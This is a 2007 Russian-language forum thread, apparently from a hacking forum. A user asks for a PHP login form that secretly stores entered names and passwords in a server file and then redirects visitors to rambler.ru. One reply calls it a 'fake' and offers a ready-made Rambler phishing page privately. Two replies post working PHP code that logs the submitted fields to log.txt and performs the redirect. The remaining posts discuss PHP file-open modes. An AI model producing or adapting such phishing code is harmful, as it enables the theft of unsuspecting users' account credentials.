Форма на Php

Discussion in 'ПО для Web разработчика' started by Other, 5 Nov 2007.

  1. Other

    Other Elder - Старейшина

    Joined:
    14 Sep 2007
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    Помогите плззз!
    Знаю что для, людей которые хорошо знают php дело 2-х минут.
    В общем надо форму аутентификации с двумя или тремя полями,
    Например имя:
    Пароль:
    Чо нить ещё:
    Потом кнопка после нажатия, на которую данные из полей сохранялись в фаил на сревере, и ещё переходил по ссылке, например на главную страницу rambler.
    Вроде просто, но блин времени мало, что бы самому разбираться.

    Выложите плззз готовый код.
    И какой бесплатный хост под это дело вы посоветуете, чтоб всё пахало, и рекламу можно было сбить?
     
  2. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    если фейк делаеш- не изобретай велосипед))) они уже все есть))) здесь выкладывать не буду, если нужен в П М
     
  3. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    все правильно только надо поменять местами.. так редиректа не будет

    а так будет
    PHP:
    <? 
    if (isset(
    $_POST)) 

        
    $string "$_POST[1]\r\n$_POST[2]\r\n$_POST[3]\r\n----------"
        
    $handle fopen("log.txt""a"); 
        
    fputs($handle$string); 
        
    fclose($handle); 
        
    header("Location: http://rambler.ru/");     

    ?>
     <form action="<? echo $_SERVER["PHP_SELF"];?>" method="post"> 
        1: <input type="text" name="1"/><br/> 
        2: <input type="text" name="2"/><br/> 
        3: <input type="text" name="3"/><br/> 
        <input type="submit" name="submit" value="ок"/> 
    </form>  
     
    _________________________
    2 people like this.
  4. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    .::Gh0st::. привёл хороший пример, но небольшая поправка, у него не будет отправляться хеадер.
    PHP:
    <?
    if( !
    $_POST )
    {
    ?>
    <form method="post"> 
        1: <input type="text" name="1"/><br/> 
        2: <input type="text" name="2"/><br/> 
        3: <input type="text" name="3"/><br/> 
        <input type="submit" name="submit" value="ок"/> 
    </form> 
    <?
    }
    else

        $string = $_POST[1]."\n".$_POST[2]."\n".$_POST[3]."\n----------\n"; 
        $handle = fopen("log.txt", "a"); 
        fputs($handle, $string); 
        fclose($handle); 
        header("Location: http://rambler.ru/");     

    ?>
     
    #4 NOmeR1, 5 Nov 2007
    Last edited: 5 Nov 2007
    1 person likes this.
  5. Other

    Other Elder - Старейшина

    Joined:
    14 Sep 2007
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    2Zapadlo 17
    Да ты прав, скинь если можешь.
     
  6. Other

    Other Elder - Старейшина

    Joined:
    14 Sep 2007
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    $handle = fopen("log.txt", "a"); - log.txt сам фаил куда всё спишется а что значит "a" ???
     
  7. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    'a' - если файла не существует создает.. аа так открывает на запись в конец файла
     
  8. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Это модификатор, он может иметь значения:
    'r' - Открыть только для чтения;
    'r+' - Открыть для чтения и записи;
    'w' - Открыть только для записи;
    'a' - Открыть только для записи в конец файла;
    'a+' - Открыть для чтения и записи в конец файла;
     
  9. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    не правда... ничиго он не создает с модификатором 'a', если файла нет, то вылезет ошибка, что типа файл не найден, файл создает 'w'...
     
  10. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    'a' - открывает файл только для записи; помещает указатель в конец файла. Если файл не существует - пытается его создать.
     
  11. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Блин не знал... :(
     
  12. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    Скинул те в личку готовый рамблеровский , если не разберешся- спросиш, а вообще они создаются за пару минут
     
  13. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    читайте страуструпа)))))))))
     
    1 person likes this.
  14. Other

    Other Elder - Старейшина

    Joined:
    14 Sep 2007
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    Всем иегп респектище!!!!
    Особенно zapadlo 17